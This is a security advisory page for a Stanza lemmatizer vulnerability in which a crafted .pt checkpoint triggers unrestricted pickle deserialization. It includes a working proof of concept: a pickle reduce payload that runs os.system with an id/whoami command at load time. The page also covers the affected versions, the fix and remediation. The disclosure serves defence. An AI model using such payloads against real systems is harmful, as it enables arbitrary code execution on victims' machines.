CVE-2026-115878: Stanza: RCE via pickle deserialization in the lemmatizer

Published Nov 3, 2026
·
Updated

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores posdict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weightsonly=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weightsonly=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload reduce returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executedby=...).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemmamodelpath="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> unpackposdict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

python packposdict (write side): posdict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def unpackposdict(data): # line 54 buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return pickle.loads(raw) # <-- unrestricted default unpickler

python def load(self, filename, ...): # line 365 checkpoint = torch.load(filename, ..., weightsonly=True) # outer allowlist; bytes pass through intact ... if dictsversion == DICTSVERSIONPOS: # dictsversion == 2 (current format) self.posdict = unpackposdict(checkpoint['dicts']) # line 378, no validation

Reachable from the documented API. stanza.Pipeline(..., lemmamodelpath=<file>) -> LemmaProcessor.setupmodel -> Trainer(modelfile=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemmamodelpath reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is not the weightsonly=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

Minimal PoC

python import gzip, io, os, pickle, tempfile, torch from stanza.models.lemma.trainer import unpackposdict, DICTSVERSIONPOS

MARKER = os.path.join(tempfile.gettempdir(), "stanzalemmapocpwned")

class Payload: def reduce(self): return (os.system, ("id > %s 2>&1; echo executedby=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as packposdict() gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dictsversion": DICTSVERSIONPOS} pt = os.path.join(tempfile.gettempdir(), "evillemma.pt") torch.save(ckpt, pt, usenewzipfileserialization=False)

loaded = torch.load(pt, lambda s, l: s, weightsonly=True) # SUCCEEDS; dicts is bytes, intact unpackposdict(loaded["dicts"]) # == trainer.py:378 -> command runs print("pwned:", open(MARKER).read().strip())

The PoC calls unpackposdict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

Fix

Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):

python from stanza.models.common.doc import RestrictedUnpickler

def unpackposdict(data): buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return RestrictedUnpickler(io.BytesIO(raw)).load()

A legitimate posdict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by findclass. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both unpackposdict and, for forward compatibility, packposdict.

Other sources

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores posdict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weightsonly=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemmamodelpath, before inference begins. This issue is fixed in version 1.15.0.

— NVD

Affected Software

2 affected componentsFixes available
pip/stanza=1.14.0
1.15.0
pip/stanza>=1.14.0<1.15.0
1.15.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/stanza to a version that resolves this vulnerability.

    Fixed in 1.15.0
  2. Upgrade

    Upgrade stanza to a version that resolves this vulnerability.

    Fixed in 1.15.0
  3. Compensating control

    Deserialize the inner gzip-compressed pos_dict stream with the project's RestrictedUnpickler, which allowlists tuple, list, and dict, in both _unpack_pos_dict and _pack_pos_dict.

Event History

Nov 3, 2026
CVE Published
via MITRE·08:26 PM
Data Sourced
via MITRE·08:26 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:29 PM
Data Sourced
via GitHub·08:29 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which deployments are exposed?

Deployments are exposed when a Stanza pipeline loads a lemmatizer checkpoint whose .pt path or model source is influenced by an attacker. This includes use of lemma_model_path with caller-supplied input and custom registries that load untrusted or shared lemma models.

2

Does torch.load(weights_only=True) prevent exploitation?

No. The affected pos_dict data is stored as bytes, which weights_only=True passes through; Stanza later sends those bytes to unrestricted pickle.loads.

3

What does an attacker need to do, and what access do they gain?

An attacker needs to cause a crafted lemmatizer .pt checkpoint to be loaded, typically by influencing the model path or supplied model. The payload executes arbitrary code with the privileges of the user loading the checkpoint.

4

What can be done while patching is unavailable?

Do not allow untrusted or attacker-influenced .pt files to be used as lemmatizer models. Restrict lemma_model_path and any custom model registry to trusted checkpoints only.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203